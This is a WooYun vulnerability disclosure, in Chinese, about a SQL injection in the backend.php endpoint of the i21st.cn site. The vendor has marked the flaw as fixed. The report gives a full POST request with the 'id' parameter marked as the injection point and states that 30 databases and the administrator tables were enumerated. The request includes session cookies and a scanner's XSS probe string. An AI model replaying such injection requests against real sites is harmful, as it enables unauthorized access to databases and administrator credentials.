21英语网主站SQL注入(30库/管理员信息)

编号217254
Urlhttp://www.wooyun.org/bug.php?action=view&id=217254
漏洞状态厂商已经修复
漏洞标题21英语网主站SQL注入(30库/管理员信息)
漏洞类型SQL注射漏洞
厂商i21st.cn
白帽子路人甲
提交日期2016-06-08 10:02:00
公开日期2016-06-13 09:52:00
修复时间2016-06-13 09:52:00
确认时间2016-06-10 00:00:00
Confirm Spend2
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank20
漏洞简介
RT
漏洞细节

1、21英语网主站SQL注入,POST包如下:

POST /apps/ireport/backend.php HTTP/1.1
Content-Length: 436
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c0b650be409affd8edd7f0f3b88b2efe; user[username]=111122223; cck_lasttime=1465224513996; cck_count=0; JumpM1=1; Hm_lvt_63a93376491d073b73b9013396ad02a8=1465241656,1465242214,1465248266,1465248299; Hm_lpvt_63a93376491d073b73b9013396ad02a8=1465248299; jiathis_off=yes; HMACCOUNT=41E31F07D68B92EE; panshi_user=fc9b234d7b9778dfbcb28cc38bdddcda_20160606224838_408017cfc7d8e6bf_1; jiathis_uniqid=f77d5a49347c4e2a8af4d41fac67c9b3; JSESSIONID=376201C6E47C0340078AB474CF10CEB8; jiathis_sers=copy%3A1; __utmt=1; __utma=173512187.2049734761.1465226247.1465226247.1465226247.1; __utmb=173512187.1.10.1465226247; __utmc=173512187; __utmz=173512187.1465226247.1.1.utmcsr=acunetix-referrer.com|utmccn=(referral)|utmcmd=referral|utmcct=/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); Hm_lvt_727bf79ab8e96a37e6486fccd3f61c22=1465229394; Hm_lpvt_727bf79ab8e96a37e6486fccd3f61c22=1465229394; v="2016060702300600098812700173078978|::"; opxPID=2016060702300600098812700173078978; u=1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|; bshare_off=true; Hm_lvt_4b457aad9f982935835361c80d4884c1=1465241811; Hm_lpvt_4b457aad9f982935835361c80d4884c1=1465241811
Host: www.i21st.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
id=*&op=digireport2&title=%E8%87%AA%E6%81%8B%E7%8B%82%E8%87%AA%E5%8D%91%E8%80%85%E6%9B%B4%E7%88%B1%E4%B8%8A%E7%A4%BE%E4%BA%A4%E7%BD%91%E7%AB%99&userid=-1


2、参数id存在问题:

1.png


3、30个库:

2.png


4、administrator库中包含4个表,涉及管理员信息:

3.png


4.png

POC

1、21英语网主站SQL注入,POST包如下:

POST /apps/ireport/backend.php HTTP/1.1
Content-Length: 436
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c0b650be409affd8edd7f0f3b88b2efe; user[username]=111122223; cck_lasttime=1465224513996; cck_count=0; JumpM1=1; Hm_lvt_63a93376491d073b73b9013396ad02a8=1465241656,1465242214,1465248266,1465248299; Hm_lpvt_63a93376491d073b73b9013396ad02a8=1465248299; jiathis_off=yes; HMACCOUNT=41E31F07D68B92EE; panshi_user=fc9b234d7b9778dfbcb28cc38bdddcda_20160606224838_408017cfc7d8e6bf_1; jiathis_uniqid=f77d5a49347c4e2a8af4d41fac67c9b3; JSESSIONID=376201C6E47C0340078AB474CF10CEB8; jiathis_sers=copy%3A1; __utmt=1; __utma=173512187.2049734761.1465226247.1465226247.1465226247.1; __utmb=173512187.1.10.1465226247; __utmc=173512187; __utmz=173512187.1465226247.1.1.utmcsr=acunetix-referrer.com|utmccn=(referral)|utmcmd=referral|utmcct=/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); Hm_lvt_727bf79ab8e96a37e6486fccd3f61c22=1465229394; Hm_lpvt_727bf79ab8e96a37e6486fccd3f61c22=1465229394; v="2016060702300600098812700173078978|::"; opxPID=2016060702300600098812700173078978; u=1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|1465237806988|; bshare_off=true; Hm_lvt_4b457aad9f982935835361c80d4884c1=1465241811; Hm_lpvt_4b457aad9f982935835361c80d4884c1=1465241811
Host: www.i21st.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
id=*&op=digireport2&title=%E8%87%AA%E6%81%8B%E7%8B%82%E8%87%AA%E5%8D%91%E8%80%85%E6%9B%B4%E7%88%B1%E4%B8%8A%E7%A4%BE%E4%BA%A4%E7%BD%91%E7%AB%99&userid=-1


2、参数id存在问题:

1.png


3、30个库:

2.png


4、administrator库中包含4个表,涉及管理员信息:

3.png


4.png

修复方案

状态信息 2016-06-08: 细节已通知厂商并且等待厂商处理中
2016-06-10: 厂商已经确认,细节仅向厂商公开
2016-06-13: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复已交由开发人员处理,非常感谢
回应信息危害等级:高漏洞Rank:20 确认时间:2016-06-10 12:09